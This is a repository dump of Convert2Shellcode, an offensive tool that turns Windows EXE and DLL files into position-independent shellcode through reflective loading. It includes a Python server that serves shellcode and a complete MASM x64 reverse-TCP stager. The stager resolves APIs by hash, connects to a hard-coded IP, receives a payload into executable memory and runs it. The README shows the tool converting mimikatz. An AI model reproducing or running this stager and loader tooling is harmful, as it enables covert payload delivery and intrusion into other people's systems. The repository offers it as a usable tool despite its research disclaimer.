├── Test ├── ReflectiveDLL.dll ├── Test_for_dll.dll ├── Test_for_exe.exe ├── Test_for_exe.cpp ├── Test_for_dll.cpp ├── stager_x64_reverseTcp.asm └── ReflectiveDLL.cpp ├── LICENSE.txt ├── Debug ├── Sever.py └── DebugForRDI.asm ├── README_zh.md ├── README.md ├── Convert2Shellcode ├── Convert2Shellcode_embed.go ├── Convert2Shellcode_post.go ├── Convert2Shellcode_front.go ├── Convert2Shellcode_embed.cpp ├── Convert2Shellcode_post.cpp └── Convert2Shellcode_front.cpp └── SRDI Asm ├── RDI_front.asm └── RDI_post.asm /Test/ReflectiveDLL.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onedays12/Convert2Shellcode/HEAD/Test/ReflectiveDLL.dll -------------------------------------------------------------------------------- /Test/Test_for_dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onedays12/Convert2Shellcode/HEAD/Test/Test_for_dll.dll -------------------------------------------------------------------------------- /Test/Test_for_exe.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onedays12/Convert2Shellcode/HEAD/Test/Test_for_exe.exe -------------------------------------------------------------------------------- /Test/Test_for_exe.cpp: -------------------------------------------------------------------------------- 1 | #include // 必须包含Windows头文件以使用MessageBox 2 | 3 | int main() { 4 | // 调用MessageBox函数 5 | int result = MessageBox( 6 | NULL, // 父窗口句柄(无父窗口设为NULL) 7 | L"Hello,Oneday!", // 对话框正文内容 8 | L"操作确认", // 对话框标题 9 | MB_YESNO | MB_ICONQUESTION // 按钮组合+图标类型 10 | ); 11 | 12 | // 根据用户点击的按钮处理逻辑 13 | if (result == IDYES) { 14 | MessageBox(NULL, L"您选择了【是】", L"结果提示", MB_OK | MB_ICONINFORMATION); 15 | } 16 | else if (result == IDNO) { 17 | MessageBox(NULL, L"您选择了【否】", L"结果提示", MB_OK | MB_ICONWARNING); 18 | } 19 | 20 | return 0; 21 | } -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 onedays12 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /Debug/Sever.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | IP = '0.0.0.0' 5 | PORT = 4444 # 修改为4444端口 6 | SHELLCODE_FILE = 'Test.exe' # 要传输的shellcode文件 7 | 8 | def main(): 9 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | server.bind((IP, PORT)) 11 | server.listen(5) 12 | print(f'[*] Listening on {IP}:{PORT}') 13 | 14 | while True: 15 | client, address = server.accept() 16 | print(f'[*] Accepted connection from {address[0]}:{address[1]}') 17 | client_handler = threading.Thread( 18 | target=handle_client, 19 | args=(client,) 20 | ) 21 | client_handler.start() 22 | 23 | def handle_client(client_socket): 24 | try: 25 | # 读取shellcode文件 26 | with open(SHELLCODE_FILE, 'rb') as f: 27 | shellcode = f.read() 28 | 29 | # 发送shellcode给客户端 30 | client_socket.sendall(shellcode) 31 | print(f'[*] Sent {len(shellcode)} bytes of shellcode') 32 | 33 | except FileNotFoundError: 34 | print(f'[!] Error: {SHELLCODE_FILE} not found') 35 | client_socket.sendall(b'Error: Shellcode file not found') 36 | except Exception as e: 37 | print(f'[!] Error: {str(e)}') 38 | finally: 39 | client_socket.close() 40 | 41 | if __name__ == '__main__': 42 | main() -------------------------------------------------------------------------------- /Test/Test_for_dll.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // 1. 声明 TLS 回调函数 4 | VOID NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved); 5 | 6 | // 2. 使用链接器指令将 TLS 回调放入特定段 7 | #ifdef _WIN64 8 | #pragma comment (linker, "/INCLUDE:_tls_used") // 64 位需要 9 | #pragma comment (linker, "/INCLUDE:pTlsCallback") 10 | #else 11 | #pragma comment (linker, "/INCLUDE:__tls_used") // 32 位需要 12 | #pragma comment (linker, "/INCLUDE:_pTlsCallback") 13 | #endif 14 | 15 | // 3. 创建 TLS 目录 16 | #pragma data_seg(".CRT$XLB") 17 | EXTERN_C PIMAGE_TLS_CALLBACK pTlsCallback = TlsCallback; 18 | #pragma data_seg() 19 | 20 | // 4. TLS 回调函数实现 21 | VOID NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) 22 | { 23 | char message[256]; 24 | const char* reasonStr = "Unknown"; 25 | 26 | switch (Reason) 27 | { 28 | case DLL_PROCESS_ATTACH: 29 | reasonStr = "PROCESS_ATTACH"; 30 | break; 31 | case DLL_PROCESS_DETACH: 32 | reasonStr = "PROCESS_DETACH"; 33 | break; 34 | case DLL_THREAD_ATTACH: 35 | reasonStr = "THREAD_ATTACH"; 36 | return; // 线程附加不显示消息框 37 | case DLL_THREAD_DETACH: 38 | reasonStr = "THREAD_DETACH"; 39 | return; // 线程分离不显示消息框 40 | } 41 | 42 | // 显示回调信息 43 | wsprintfA(message, "Hello Oneday!\n" 44 | "DLL Handle: 0x%p\n" 45 | "Reason: %s\n" 46 | "Reserved: 0x%p", 47 | DllHandle, reasonStr, Reserved); 48 | 49 | MessageBoxA(NULL, message, "TLS Callback Demo", MB_OK | MB_ICONINFORMATION); 50 | } 51 | 52 | // 5. 标准 DLL 入口点 53 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 54 | { 55 | char message[128]; 56 | 57 | switch (fdwReason) 58 | { 59 | case DLL_PROCESS_ATTACH: 60 | wsprintfA(message, "Hello Oneday!\nhinstDLL: 0x%p", hinstDLL); 61 | MessageBoxA(NULL, message, "DllMain", MB_OK | MB_ICONINFORMATION); 62 | break; 63 | 64 | case DLL_PROCESS_DETACH: 65 | MessageBoxA(NULL, "Hello Oneday!", "DllMain", MB_OK | MB_ICONINFORMATION); 66 | break; 67 | } 68 | 69 | return TRUE; 70 | } -------------------------------------------------------------------------------- /README_zh.md: -------------------------------------------------------------------------------- 1 | [English](README.md) | [中文](README_zh.md) 2 | # 介绍 3 | 4 | 两种使用MASM汇编实现的SRDI(前置式RDI和后置式RDI)可以将EXE/DLL转换为位置无关Shellcode。 5 | 6 | 一种改良型RDI(内嵌式RDI)只能将DLL转换为shellcode,且这个DLL必须导出ReflectiveLoader函数,对于不熟悉RDI的师傅使用相对困难,但因原理和其制作简单,被大量C2广泛使用。 7 | 8 | **目前两种SRDI有以下要求**: 9 | 1. main或者wmain可以有参数 10 | 2. DLL的dllmain按微软官方定义(大多数都满足) 11 | 3. 不支持用C# 编写的EXE和DLL 12 | 4. 只支持x64 13 | 14 | 15 | **一种改良型RDI**: 16 | 1. 只支持DLL 17 | 2. 必须在DLL内部编写ReflectiveLoader函数,且导出,当然不一定要将Loader命名为“ReflectiveLoader”,也可以命名为“HahaLoader” 18 | 19 | # 项目结构 20 | 21 | Convert2Shellcode 22 | - `Convert2Shellcode_embed.cpp`:cpp语言版本,使用改良型RDI(内嵌式)将DLL转换为shellcode 23 | - `Convert2Shellcode_embed.go`:go语言版本,使用改良型RDI(内嵌式)将DLL转换为shellcode 24 | - `Convert2Shellcode_front.cpp`:cpp语言版本,使用前置式RDI将EXE/DLL转换为shellcode 25 | - `Convert2Shellcode_front.go`:go语言版本,使用前置式RDI将EXE/DLL转换为shellcode 26 | - `Convert2Shellcode_post.cpp`:cpp语言版本,使用后置式RDI将EXE/DLL转换为shellcode 27 | - `Convert2Shellcode_post.go`:go语言版本,使用后置式RDI将EXE/DLL转换为shellcode 28 | 29 | Debug 30 | - `DebugForRDI.asm`:在调试和编写RDI时创建了这个asm文件,并最终完成了验证。 31 | - `Sever.py`:一个使用python编写的TCP服务器,配合 `DebugForRDI.asm` 一起使用 32 | 33 | SRDI Asm 34 | - `RDI_front.asm`:前置式RDI shellcode 35 | - `RDI_post.asm`:后置式RDI shellcode 36 | 37 | Test 38 | - `ReflectiveDLL.cpp`:具有导出函数ReflectiveLoader的DLL源码 39 | - `ReflectiveDLL.dll`:具有导出函数ReflectiveLoader的DLL二进制版本 40 | - `stager_x64_reverseTcp.asm`:一个类似于 Cobalt Strike 的stager,使用 Server.py 启动服务器,然后运行这个汇编文件从服务器下载并执行该stage 41 | - `Test_for_dll.cpp`:测试DLL源码 42 | - `Test_for_dll.dll`:测试DLL二进制版本 43 | - `Test_for_exe.cpp`:测试EXE源码 44 | - `Test_for_exe.exe`:测试EXE二进制版本 45 | 46 | # 使用 47 | 48 | ``` 49 | 1.Convert2Shellcode_post.exe [Output File Path] 50 | 2.Convert2Shellcode_post.exe [Output File Path] 51 | 3.Convert2Shellcode_embed.exe [Output File Path] [The Export Function Name of Loader] 52 | ``` 53 | 54 | 例子 55 | ``` 56 | PS C:\Users\Xxxxxxxx\Desktop\Convert2Shellcode_v1.0> .\Convert2Shellcode_front.exe .\mimikatz.exe 57 | ╔══════════════════════════════════════════════════════════════════════════════════════╗ 58 | ║ Convert2Shellcode_front ║ 59 | ║------------------------------------------------------------------------------------- ║ 60 | ║ Function: Use front-style RDI to convert EXE/DLL into position-independent shellcode ║ 61 | ║ Author:oneday ║ 62 | ║ Compilation Date:Jun 12 2025 21:29:52 ║ 63 | ╚══════════════════════════════════════════════════════════════════════════════════════╝ 64 | 65 | [+] Successfully opened . 66 | [*] File size is 1355264 67 | [+] Memory allocation successful, address is 0x4bc9b040 68 | [*] 1355264 bytes read into memory 69 | [+] Memory allocation successful, address is 0x4bdf9040 70 | [+] Successfully generated shellcode file: s (Size: 1356147 bytes) 71 | ``` 72 | 73 | 使用pe2shellcode的runshc64.exe:[hasherezade/pe_to_shellcode: Converts PE into a shellcode](https://github.com/hasherezade/pe_to_shellcode)进行验证,也可以自己编写一个loader 74 | 75 | ![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/06/09/19-07-36-0b50c72fe124b9742c6fec8c67ce04cf-20250609190736-4d79d7.png) 76 | 77 | # 更多细节 78 | 79 | 如果你对实现细节感兴趣,可以去看看我写的这篇文章:[从SRDI原理剖析再到PE2Shellcode的实现-先知社区](https://xz.aliyun.com/news/18239) 80 | 81 | 我的博客:[关于这个博客 | onedaybook](https://oneday.gitbook.io/onedaybook) 82 | 83 | # TODO 84 | 85 | 这个项目,我会去维护,主要是以下几点 86 | 87 | 1. 增加x86的支持 88 | 2. 增加高级功能,比如说支持用户数据、混淆PE特征等等 89 | 3. 增加对 .NET程序的支持 90 | 4. 继续完善RDI的功能,比如说增加延迟导入、导出转换等等 91 | 5. 进一步缩小srdi的体积 92 | 6. 修复bug和解决师傅们提出的issue 93 | 94 | # 声明 95 | 96 | 本工具仅提供给安全研究人员进行合法安全研究及学习使用。使用者应遵守当地相关法律,未经授权不得对任何计算机系统进行测试。作者不对任何滥用此工具的行为负责,包括但不限于未经授权的入侵、破坏、数据窃取等行为。使用者应对其行为负全部责任。 97 | 98 | 还有一点,现在我不干安全了,别溯源我。 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [English](README.md) | [中文](README_zh.md) 2 | # Introduce 3 | 4 | Two types of SRDI implemented in MASM assembly—**front-style RDI** and **post-tyle RDI**—can convert EXE/DLL into position-independent shellcode. 5 | 6 | An **embedded RDI** (improved variant) only supports DLL-to-shellcode conversion. This DLL must export a loader function (e.g., `ReflectiveLoader` or custom names like `HahaLoader`). While challenging for practitioners unfamiliar with RDI, its simplicity has led to wide adoption by C2 frameworks. 7 | 8 | **Current SRDI Limitations**: 9 | 1. EXE's `main` or `wmain` can have parameters. 10 | 2. DLL's `DllMain` must adhere to Microsoft's official specifications. 11 | 3. EXEs/DLLs written in C# are unsupported. 12 | 4. x64 architecture only. 13 | 14 | 15 | **Embedded RDI Specifics**: 16 | 1. DLL-exclusive conversion. 17 | 2. Requires an exported loader function (name flexibility exists, e.g., `HahaLoader`). 18 | 19 | # Project Structure 20 | 21 | Convert2Shellcode 22 | - `Convert2Shellcode_embed.cpp`:C++ version, uses improved RDI (embedded) to convert DLL to shellcode 23 | - `Convert2Shellcode_embed.go`:Go version, uses improved RDI (embedded) to convert DLL to shellcode 24 | - `Convert2Shellcode_front.cpp`:C++ version, uses front-style RDI to convert EXE/DLL to shellcode 25 | - `Convert2Shellcode_front.go`:Go version, uses front-style RDI to convert EXE/DLL to shellcode 26 | - `Convert2Shellcode_post.cpp`:C++ version, uses post-style RDI to convert EXE/DLL to shellcode 27 | - `Convert2Shellcode_post.go`:Go version, uses post-style RDI to convert EXE/DLL to shellcode 28 | 29 | Debug 30 | - `DebugForRDI.asm`:ASM file created for debugging and developing RDI, verified for functionality 31 | - `Sever.py`:Python-written TCP server used with `DebugForRDI.asm` 32 | 33 | SRDI Asm 34 | - `RDI_front.asm`:Front-style RDI shellcode 35 | - `RDI_post.asm`:Post-style RDI shellcode 36 | 37 | Test 38 | - `ReflectiveDLL.cpp`:DLL source code with exported `ReflectiveLoader` function 39 | - `ReflectiveDLL.dll`:Compiled DLL binary with exported `ReflectiveLoader` function 40 | - `stager_x64_reverseTcp.asm`:Cobalt Strike-like stager; execute `Sever.py` to start server, then run this ASM to fetch/execute payload 41 | - `Test_for_dll.cpp`:Test DLL source code 42 | - `Test_for_dll.dll`:Test DLL binary 43 | - `Test_for_exe.cpp`:Test EXE source code 44 | - `Test_for_exe.exe`:Test EXE binary 45 | 46 | # Usage 47 | 48 | ``` 49 | 1.Convert2Shellcode_post.exe [Output File Path] 50 | 2.Convert2Shellcode_post.exe [Output File Path] 51 | 3.Convert2Shellcode_embed.exe [Output File Path] [The Export Function Name of Loader] 52 | ``` 53 | 54 | Example 55 | ``` 56 | PS C:\Users\Xxxxxxxx\Desktop\Convert2Shellcode_v1.0> .\Convert2Shellcode_front.exe .\mimikatz.exe 57 | ╔══════════════════════════════════════════════════════════════════════════════════════╗ 58 | ║ Convert2Shellcode_front ║ 59 | ║------------------------------------------------------------------------------------- ║ 60 | ║ Function: Use front-style RDI to convert EXE/DLL into position-independent shellcode ║ 61 | ║ Author:oneday ║ 62 | ║ Compilation Date:Jun 12 2025 21:29:52 ║ 63 | ╚══════════════════════════════════════════════════════════════════════════════════════╝ 64 | 65 | [+] Successfully opened . 66 | [*] File size is 1355264 67 | [+] Memory allocation successful, address is 0x4bc9b040 68 | [*] 1355264 bytes read into memory 69 | [+] Memory allocation successful, address is 0x4bdf9040 70 | [+] Successfully generated shellcode file: s (Size: 1356147 bytes) 71 | ``` 72 | 73 | Use runshc64.exe with pe2shellcode for verification:[hasherezade/pe_to_shellcode: Converts PE into a shellcode](https://github.com/hasherezade/pe_to_shellcode), or you can write your own loader. 74 | 75 | ![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/06/09/19-07-36-0b50c72fe124b9742c6fec8c67ce04cf-20250609190736-4d79d7.png) 76 | 77 | # For More Details 78 | 79 | If you are interested in the implementation details, you can check out this article I wrote:[从SRDI原理剖析再到PE2Shellcode的实现-先知社区](https://xz.aliyun.com/news/18239) 80 | 81 | My blog:[关于这个博客 | onedaybook](https://oneday.gitbook.io/onedaybook) 82 | 83 | # TODO 84 | 85 | **I will maintain this project, focusing on the following key points:** 86 | 1. **Add x86 support** 87 | 2. **Introduce advanced features**, such as supporting user data, obfuscating PE headers, etc. 88 | 3. **Add support for .NET assemblies** 89 | 4. **Enhance RDI functionalities**, including deferred imports, export conversion, etc. 90 | 5. **Further reduce the size of the srdi shellcode** 91 | 6. **Fix bugs and address issues raised by community members** 92 | 93 | # Disclaimer 94 | 95 | This tool is provided for educational and research purposes only. It is intended for use by security professionals in legally authorized engagements. The author is not responsible for any misuse of this software. Users must ensure that they have proper authorization before using this tool on any system. 96 | 97 | One more thing, I am no longer working in security, don't trace me. 98 | 99 | 100 | 101 | test -------------------------------------------------------------------------------- /Test/stager_x64_reverseTcp.asm: -------------------------------------------------------------------------------- 1 | ;------------------------------------------------------------------------------------------- 2 | ; Author: oneday 3 | ; Language: MASM 4 | ; Details: A stager similar to Cobalt Strike, using Server.py to start the server, 5 | ; then run this assembly file to download and execute the stage from the server. 6 | ;------------------------------------------------------------------------------------------- 7 | 8 | .code 9 | 10 | main proc 11 | 12 | ; 1. 清除方向标志并对齐栈指针,确保符合Windows x64调用约定 13 | cld ; 清除方向标志(DF=0),字符串操作向高地址进行 14 | and rsp, 0FFFFFFFFFFFFFFF0h ; 将RSP对齐到16字节边界,避免栈未对齐导致的异常 15 | 16 | ; 2.加载ws2_32.dll库 17 | push 0 ; 为了对齐 18 | mov r14, '23_2sw' ; 构造字符串'ws2_32\0' 19 | push r14 ; 将字符串压栈,此时RSP指向"ws2_32\0"的地址 20 | mov rcx, rsp ; RCX = 字符串地址,作为LoadLibraryA的参数 21 | mov r10, 56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 22 | call GetProcAddressByHash 23 | 24 | ; 3.调用WSAStartup函数 25 | sub rsp, 400+8 ; WSAData结构体大小400字节,8个字节对齐 26 | mov r13,rsp ; R13保存WSAData结构指针 27 | mov r12,0101A8C05C110002h ; 构造sockaddr_in结构:192.168.1.1:4444, AF_INET 28 | push r12 ; 压栈保存sockaddr_in结构 29 | mov r12,rsp ; R12保存sockaddr_in结构指针 30 | mov rdx,r13 ; RDX = WSAData结构指针 31 | push 0101h ; Winsock 1.1版本 32 | pop rcx ; RCX = 0101h 33 | mov r10,4645344Ch ; ws2_32.dll+WSAStartup的哈希值 34 | call GetProcAddressByHash 35 | 36 | test eax,eax 37 | jnz failure 38 | 39 | ; 4.调用WSASocketA函数 40 | mov rcx,2 ; af=AF_INET (IPv4) 41 | mov rdx,1 ; af=SOCK_STREAM (TCP) 42 | xor r8,r8 ; protocol = 0 (默认) 43 | xor r9,r9 ; lpProtocolInfo = NULL 44 | push r9 ; dwFlags = 0 45 | push r9 ; g=0 46 | mov r10,0B83D505Ah ; ws2_32.dll+WSASocketA的哈希值 47 | call GetProcAddressByHash 48 | xchg rdi,rax ; 保存套接字句柄到RDI 49 | 50 | ; 6.调用connect函数 51 | mov rcx,rdi ; 套接字句柄 52 | mov rdx,r12 ; sockaddr_in结构指针 53 | push 16 ; sockaddr_in结构长度 54 | pop r8 ; R8 = 16 55 | mov r10,6AF3406Dh ; ws2_32.dll+connect的哈希值 56 | call GetProcAddressByHash 57 | 58 | test eax,eax 59 | jnz failure 60 | 61 | ; 7. 清栈 62 | add rsp, ((400+8)+(5*8)+(4*32)) 63 | 64 | ; 8.调用VirtualAlloc分配内存空间用于存储Shellcode 65 | xor rcx, rcx ; lpAddress = NULL(由系统选择地址) 66 | mov rdx, 00400000h ; dwSize = 4MB(分配内存大小) 67 | mov r8, 1000h ; flAllocationType = MEM_COMMIT(提交物理内存) 68 | mov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITE(可读可写可执行) 69 | mov r10, 0FBFA86AFh ; kernel32.dll+VirtualAlloc 的哈希值 70 | call GetProcAddressByHash 71 | 72 | read_pre: 73 | xchg rax,rbx ; RBX = 分配的内存基地址 74 | push rbx ; 保存基地址 75 | read_more: 76 | mov rcx,rdi ; 套接字句柄 77 | mov rdx,rbx ; 当前写入指针 78 | mov r8,8192 ; 每次读取8192字节 79 | xor r9,r9 ; flags = 0 80 | mov r10,0F1606037h ; ws2_32.dll+recv的哈希值 81 | call GetProcAddressByHash 82 | add rsp, 32 ; 清理影子空间 83 | 84 | add rbx,rax ; 移动写入指针 85 | test eax,eax ; 检查接收字节数 86 | jnz read_more ; 继续接收直到返回0 87 | 88 | execute_stage: 89 | pop rax 90 | jmp continue ; 跳转到下载的Shellcode执行 91 | exec: 92 | jmp rax 93 | continue: 94 | call exec 95 | 96 | ; 结束 97 | failure: 98 | mov r10,0DE2D94D9h ; kernel32.dll+ExitProcess 哈希值 99 | call GetProcAddressByHash 100 | 101 | GetProcAddressByHash: 102 | 103 | ; 1. 保存前4个参数到栈上,并保存rsi和r12的值 104 | push r9 105 | push r8 106 | push rdx 107 | push rcx 108 | push rsi 109 | push r12 110 | 111 | ; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点 112 | xor rdx,rdx ; 清零 113 | mov rdx,gs:[rdx+60h] ; 通过GS段寄存器获取PEB地址(TEB偏移0x60处) 114 | mov rdx,[rdx+18h] ; PEB->Ldr 115 | mov rdx,[rdx+20h] ; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址 116 | 117 | ;3.模块遍历 118 | next_mod: 119 | mov rsi,[rdx+50h] ; 模块名称 120 | movzx rcx,word ptr [rdx+48h] ; 模块名称长度 121 | xor r8,r8 ; 存储接下来要计算的hash 122 | 123 | ; 4.计算模块hash 124 | loop_modname: 125 | xor rax, rax ; 清零EAX,准备处理字符 126 | lodsb ; 从rSI加载一个字节到AL(自动递增rSI) 127 | cmp al,'a' ; 比较当前字符的ASCII值是否小于小写字母'a'(0x61) 128 | jl not_lowercase ; 如果字符 < 'a',说明不是小写字母,跳转不处理 129 | sub al, 20h ; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z') 130 | not_lowercase: 131 | ror r8d,0dh ; 对R8的低32位进行循环右移13位,不影响高32位 132 | add r8d,eax ; 将当前字符的ASCII值(已大写化)累加到哈希值 133 | dec ecx ; 字符计数器ECX减1 134 | jnz loop_modname ; 继续循环处理下一个字符,直到ECX减至0 135 | push rdx ; 将当前模块链表节点地址压栈 136 | push r8 ; 将计算完成的哈希值压栈存储hash值 137 | 138 | ; 5.获取导出表 139 | mov rdx, [rdx+20h] ; 获取模块基址 140 | mov eax, dword ptr [rdx+3ch] ; 读取PE头的RVA 141 | add rax, rdx ; PE头VA 142 | cmp word ptr [rax+18h],20Bh ; 检查是否为PE64文件 143 | jne get_next_mod1 ; 不是就下一个模块 144 | mov eax, dword ptr [rax+88h] ; 获取导出表的RVA 145 | test rax, rax ; 检查该模块是否有导出函数 146 | jz get_next_mod1 ; 没有就下一个模块 147 | add rax, rdx ; 获取导出表的VA 148 | push rax ; 存储导出表的地址 149 | mov ecx, dword ptr [rax+18h] ; 按名称导出的函数数量 150 | mov r9d, dword ptr [rax+20h] ; 函数名称字符串地址数组的RVA 151 | add r9, rdx ; 函数名称字符串地址数组的VA 152 | 153 | ; 6.获取函数名 154 | get_next_func: 155 | test rcx, rcx ; 检查按名称导出的函数数量是否为0 156 | jz get_next_mod ; 若所有函数已处理完,跳转至下一个模块遍历 157 | dec rcx ; 函数计数器递减(从后向前遍历函数名数组) 158 | mov esi, dword ptr [r9+rcx*4] ; 从末尾往前遍历,一个函数名RVA占4字节 159 | add rsi, rdx ; 函数名RVA 160 | xor r8, r8 ; 存储接下来的函数名哈希 161 | 162 | ; 7.计算模块 hash + 函数 hash之和 163 | loop_funcname: 164 | xor rax, rax ; 清零EAX,准备处理字符 165 | lodsb ; 从rsi加载一个字节到al,rsi自增1 166 | test al, al 167 | jz end_funcname 168 | ror r8d,0dh ; 对当前哈希值(r8d)循环右移13位 169 | add r8d,eax ; 将当前字符的ASCII值(al)累加到哈希值(r8d) 170 | jmp loop_funcname ; 若字符非0,继续循环处理下一个字符 171 | 172 | end_funcname: 173 | add r8,[rsp+8] ; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希 174 | cmp r8d,r10d ; r10存储目标hash 175 | jnz get_next_func 176 | 177 | ; 8.获取目标函数指针 178 | pop rax ; 获取之前存放的当前模块的导出表地址 179 | mov r9d, dword ptr [rax+24h] ; 获取序号表(AddressOfNameOrdinals)的 RVA 180 | add r9, rdx ; 序号表起始地址 181 | mov cx, [r9+2*rcx] ; 从序号表中获取目标函数的导出索引 182 | mov r9d, dword ptr [rax+1ch] ; 获取函数地址表(AddressOfFunctions)的 RVA 183 | add r9, rdx ; AddressOfFunctions数组的首地址 184 | mov eax, dword ptr [r9+4*rcx] ; 获取目标函数指针的RVA 185 | add rax, rdx ; 获取目标函数指针的地址 186 | 187 | finish: 188 | pop r8 ; 清除当前模块hash 189 | pop r8 ; 清除当前链表的位置 190 | pop r12 191 | pop rsi ; 恢复RSI 192 | pop rcx ; 恢复第一个参数 193 | pop rdx ; 恢复第二个参数 194 | pop r8 ; 恢复第三个参数 195 | pop r9 ; 恢复第四个参数 196 | pop r10 ; 将返回地址地址存储到r10中 197 | sub rsp, 20h ; 给前4个参数预留 4*8=32(20h)的影子空间 198 | push r10 ; 返回地址 199 | jmp rax ; 调用目标函数 200 | 201 | get_next_mod: 202 | pop rax ; 弹出栈中保存的导出表地址 203 | get_next_mod1: 204 | pop r8 ; 弹出之前压栈的计算出来的模块哈希值 205 | pop rdx ; 弹出之前存储在当前模块在链表中的位置 206 | mov rdx, [rdx] ; 获取链表的下一个模块节点(FLINK) 207 | jmp next_mod ; 跳转回模块遍历循环 208 | 209 | main endp 210 | end -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_embed.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "debug/pe" 6 | "encoding/binary" 7 | "fmt" 8 | "log" 9 | "os" 10 | ) 11 | 12 | const ( 13 | IMAGE_DIRECTORY_ENTRY_EXPORT = 0 14 | ) 15 | 16 | func main() { 17 | 18 | // 输出banner 19 | fmt.Println(`╔══════════════════════════════════════════════════════════════════════════════════════╗`) 20 | fmt.Println(`║ Convert2Shellcode_embed ║`) 21 | fmt.Println(`║------------------------------------------------------------------------------------- ║`) 22 | fmt.Println(`║ Function: An improved version of RDI requires implementing the ReflectLoader function║`) 23 | fmt.Println(`║ in the DLL by yourself and also needs to be exported. ║`) 24 | fmt.Println(`║ Author:oneday ║`) 25 | fmt.Println(`╚══════════════════════════════════════════════════════════════════════════════════════╝`) 26 | fmt.Println() 27 | 28 | if len(os.Args) < 2 { 29 | fmt.Println("[-] Error: Missing DLL path parameter") 30 | fmt.Println("[*] Usage: Convert2Shellcode_embed.exe [Output File Path] [The Export Function Name of Loader]") 31 | fmt.Println("[*] Example 1: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll") 32 | fmt.Println("[*] Example 2: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin") 33 | fmt.Println("[*] Example 3: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin ReflectiveLoader") 34 | os.Exit(1) 35 | } 36 | 37 | // 待转换的DLL路径和输出文件路径 38 | dllPath := os.Args[1] 39 | outputPath := "shellcode_embed.bin" 40 | if len(os.Args) >= 3 { 41 | outputPath = os.Args[2] 42 | } 43 | 44 | // 导出函数名称 45 | loaderName := "ReflectiveLoader" 46 | if len(os.Args) >= 4 { 47 | loaderName = os.Args[3] 48 | } 49 | 50 | fmt.Printf("[+] Opening DLL: %s\n", dllPath) 51 | dllData, err := os.ReadFile(dllPath) 52 | if err != nil { 53 | log.Fatalf("[-] Error reading DLL: %v", err) 54 | } 55 | 56 | fmt.Printf("[*] DLL size: %d bytes\n", len(dllData)) 57 | 58 | // 解析PE文件 59 | peFile, err := pe.NewFile(bytes.NewReader(dllData)) 60 | if err != nil { 61 | log.Fatalf("[-] Error parsing PE file: %v", err) 62 | } 63 | defer peFile.Close() 64 | 65 | // 获取Loader的文件偏移 66 | offset, err := getLoaderOffset(peFile, loaderName, dllData) 67 | if err != nil { 68 | log.Fatalf("[-] Error getting loader offset: %v", err) 69 | } 70 | fmt.Printf("[+] Found %s at file offset: 0x%X\n", loaderName, offset) 71 | 72 | // 创建stub 73 | stub := buildStub(offset) 74 | fmt.Printf("[+] Generated %d byte stub\n", len(stub)) 75 | 76 | // 覆盖DOS头部 77 | if len(stub) > len(dllData) { 78 | log.Fatalf("[-] Stub larger than DLL") 79 | } 80 | copy(dllData, stub) 81 | 82 | // 输出shellcode 83 | fmt.Printf("[+] Writing shellcode to: %s\n", outputPath) 84 | if err := os.WriteFile(outputPath, dllData, 0644); err != nil { 85 | log.Fatalf("[-] Error writing output: %v", err) 86 | } 87 | 88 | fmt.Printf("[+] Successfully generated shellcode (Size: %d bytes)\n", len(dllData)) 89 | } 90 | 91 | // 创建stub 92 | func buildStub(funcOffset uint32) []byte { 93 | // x64 机器码 94 | /* 95 | 4D 5A pop r10 96 | 41 52 push r10 97 | E8 00 00 00 00 call 0 98 | 5B pop rbx 99 | 48 81 C3 XX XX XX XX add rbx, (funcOffset - 9) 100 | 55 push rbp 101 | 48 89 E5 mov rbp, rsp 102 | FF D3 call rbx 103 | */ 104 | stub := []byte{ 105 | 0x4D, 0x5A, // pop r10 106 | 0x41, 0x52, // push r10 107 | 0xE8, 0x00, 0x00, 0x00, 0x00, // call 0 108 | 0x5B, // pop rbx 109 | 0x48, 0x81, 0xC3, // add rbx, imm32 110 | } 111 | 112 | // 调整loader的偏移 113 | offsetBytes := make([]byte, 4) 114 | 